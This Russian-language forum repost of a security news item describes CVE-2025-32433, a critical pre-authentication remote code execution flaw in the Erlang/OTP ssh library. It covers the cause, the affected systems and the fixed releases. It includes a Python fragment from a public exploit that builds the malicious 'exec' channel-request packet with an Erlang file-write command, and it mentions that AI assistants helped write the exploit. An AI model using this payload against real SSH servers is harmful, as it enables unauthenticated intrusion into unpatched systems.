Адрес: ул. Б. Очаковская 32 Москва Россия
Наши официальные канал и чат в telegram
Поднимем Devuan на вершину Distrowatch! Просто перейдите по ссылке один раз в день.

Уязвимость в библиотеке ssh Erlang/OTP позволяет удалённое выполнение кода

В библиотеке ssh Erlang/OTP обнаружена критическая уязвимость, позволяющая удалённое выполнение кода на SSH-серверах

Новости собранные из разных RSS источников
Аватара пользователя
root:#
Site Admin
Сообщения: 186
Зарегистрирован: Вт ноя 08, 2022 3:27 pm
Благодарил (а): 38 раз
Поблагодарили: 22 раза

Уязвимость в библиотеке ssh Erlang/OTP позволяет удалённое выполнение кода

Сообщение root:# »

Уязвимость в библиотеке ssh Erlang/OTP позволяет удалённое выполнение кода
В библиотеке ssh, входящей в состав инструментария Erlang/OTP, выявлена уязвимость (CVE-2025-32433), позволяющая удалённо без прохождения аутентификации выполнить свой код на SSH-сервере, созданном с использованием уязвимой библиотеки. Проблема присвоен критический уровень опасности (10 из 10).

Один из исследователей безопасности уже подготовил рабочий эксплоит для выполнения кода на уязвимых SSH-серверах. Примечательно, что по словам исследователя код был создан с использованием AI-ассистентов GPT-4, Cursor и Sonnet на основе анализа изменения с исправлением уязвимости, включающего тест для проверки устранения проблемы.

Библиотека от проекта Erlang/OTP предоставляет готовые реализации клиента и сервера SSH и SFTP, поддерживающих протокол SSH 2.0. Отличить проблемные SSH-серверы можно по выводу заголовка "SSH-2.0-Erlang/версия". SSH-серверы на базе Erlang/OTP используются в специализированных системах, например, на IoT- и устройствах для edge-вычислений, а также в качестве отладочного инструмента - Erlang позволяет легко включить SSH-сервер для удалённой отладки своих приложений (предполагается, что подобная отладочная возможность могла быть оставлена включённой во многих проектах, написанных на Erlang).

Проблема также проявляется в инструментарии Elixir (реализован поверх Erlang) и во фреймворке Phoenix на его основе, но SSH-сервер в Phoenix по умолчанию не принимает запросы из внешних сетей. Уязвимость вызвана ошибкой в коде разбора сообщений, из-за которой сообщения SSH_MSG_CHANNEL_REQUEST, допускающие выполнение команды "exec", обрабатывались на стадии до прохождения аутентификации.

Пример кода python из эксплоита:

Код: Выделить всё

import struct

# Определяем команду для выполнения на удалённом сервере
command = 'file:write_file("/lab.txt", "pwned").'

def create_ssh_channel_request(channel_id):
    """
    Формирует SSH-пакет для выполнения команды на удалённом сервере.
    
    :param channel_id: уникальный идентификатор открытого SSH-канала
    :return: готовый бинарный пакет
    """
    # Заголовок пакета (тип сообщения)
    packet_type = b"\x62"  # SSH_MSG_CHANNEL_REQUEST
    
    # Преобразуем идентификатор канала в четырёхбайтовый большой эндиан
    packed_channel_id = struct.pack(">I", channel_id)
    
    # Форматируем данные запроса ("exec")
    exec_request_name = string_payload("exec")
    
    # Флаг ответа: хотим получить подтверждение от сервера
    want_reply_flag = b"\x01"
    
    # Упаковываем саму команду
    command_data = string_payload(command)
    
    # Создаем итоговый пакет путём объединения всех компонентов
    ssh_packet = (
        packet_type +
        packed_channel_id +
        exec_request_name +
        want_reply_flag +
        command_data
    )
    
    return ssh_packet


def string_payload(data):
    """Преобразует строку в формат поля данных протокола SSH."""
    length = len(data)
    payload = struct.pack(">I", length) + data.encode()
    return payload


# Использование примера
channel_id = 1234  # пример значения идентификатора канала
packet = create_ssh_channel_request(channel_id)
print(packet.hex())
Уязвимость устранена в выпусках Erlang/OTP-27.3.3, 26.2.5.11 и 25.3.2.20. Проследить за устранением уязвимости в дистрибутивах можно на следующих страницах: Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Arch, FreeBSD.

Источник: https://www.opennet.ru/opennews/art.shtml?num=63099